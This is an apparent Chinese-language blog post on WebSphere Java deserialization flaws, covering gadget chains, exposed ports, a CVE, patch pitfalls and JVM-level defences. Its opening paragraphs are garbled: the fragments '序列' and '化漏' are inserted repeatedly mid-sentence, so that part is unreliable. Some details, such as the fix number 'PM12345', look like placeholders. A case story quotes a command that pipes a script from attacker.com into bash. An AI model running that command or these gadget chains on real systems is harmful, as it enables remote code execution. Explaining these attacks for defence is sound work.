2015年，序列FoxGlove Security的化漏安全研究员在GitHub上扔出一份PoC，直接点名WebSphere。序列不是化漏Oracle，不是序列JBoss，偏偏是化漏IBM这套企业级中间件。当时很多运维还觉得WebSphere跑在内网就安全，序列结果这份PoC打脸打得啪啪响——只要存在反序列化入口，化漏内网边界形同虚设。序列

WebSphere的化漏反序列化问题不是单一漏洞，而是序列一类。核心在Java对象序列化机制：一个字节流进来，化漏`ObjectInputStream.readObject()`一调用，序列攻击者构造的化漏恶意链就在JVM里跑起来了。IBM的序列补丁策略也很有意思，不是直接修反序列化本身，而是加黑名单、限制`readObject`的类。这种做法治标不治本，因为绕过黑名单的方法越来越多。

我见过一个真实案例。某银行内部系统用WebSphere 8.5.5，管理员打了IBM的补丁，以为万事大吉。结果攻击者用`org.apache.commons.collections.functors.InvokerTransformer`这条链，绕过了IBM的黑名单，直接执行了`/bin/bash -c 'curl attacker.com/shell.sh | bash'`。管理员后来复盘，发现补丁只拦了`java.beans.Statement`和几个常见类，commons-collections的链根本没覆盖。IBM的补丁粒度太粗了。

为什么WebSphere特别容易中招？两个原因。第一，WebSphere自带了一大堆第三方库，commons-collections、spring、xalan，这些库本身就存在反序列化利用链。第二，WebSphere的RMI-IIOP和SOAP端口默认开放，攻击面比Tomcat大得多。Tomcat你得先找上传点，WebSphere直接通过IIOP就能传序列化数据。8880、2809、9080，这几个端口扫出来，基本就能确定WebSphere在跑。

利用方式也分好几种。最直接的是通过`/wssp`或`/ibm/console`的SOAP接口，构造恶意序列化数据包。另一种是通过RMI-IIOP，用`org.apache.activemq`或`groovy`的链。2018年有个CVE-2018-1567，就是WebSphere的IIOP反序列化，CVSS评分9.8。攻击者不需要认证，直接构造GIOP消息发到2809端口，就能在目标机器上执行命令。这个漏洞影响WebSphere 7、8、8.5、9，几乎全系列。

怎么防？别信IBM的补丁能解决一切。我自己的做法是三层。第一层，用`SerialKiller`或`NotSoSerial`这类Java agent，在JVM层面拦截反序列化，白名单机制比黑名单靠谱。第二层，关掉不需要的IIOP和SOAP端口，WebSphere管理控制台别暴露在内网。第三层，如果业务必须用RMI-IIOP，用JEP 290的`ObjectInputFilter`，JDK 8u121以上都支持。IBM自己的补丁只是兜底，不能当主力。

还有一个坑：WebSphere的补丁号很乱。IBM叫Fix Pack、iFix、Interim Fix，有时候一个反序列化漏洞要打三四个补丁才能完全覆盖。我见过管理员打了Fix Pack 8.5.5.13，结果漏了iFix PM12345，照样被打穿。所以别只看Fix Pack版本号，去IBM的Security Bulletin页面逐个核对CVE对应的iFix。

最后说个观察。WebSphere的反序列化漏洞，黑产利用得比红队还早。2016年就有人在暗网卖WebSphere反序列化利用工具，打包价500美元。工具里集成了commons-collections、spring、groovy三条链，还带端口扫描和自动打补丁检测。这说明什么？说明这个漏洞的利用门槛已经低到脚本小子水平。你的WebSphere如果还在跑，别犹豫，要么升级到9.0.5.14以上，要么上JVM层防护。别等被打穿了再翻日志。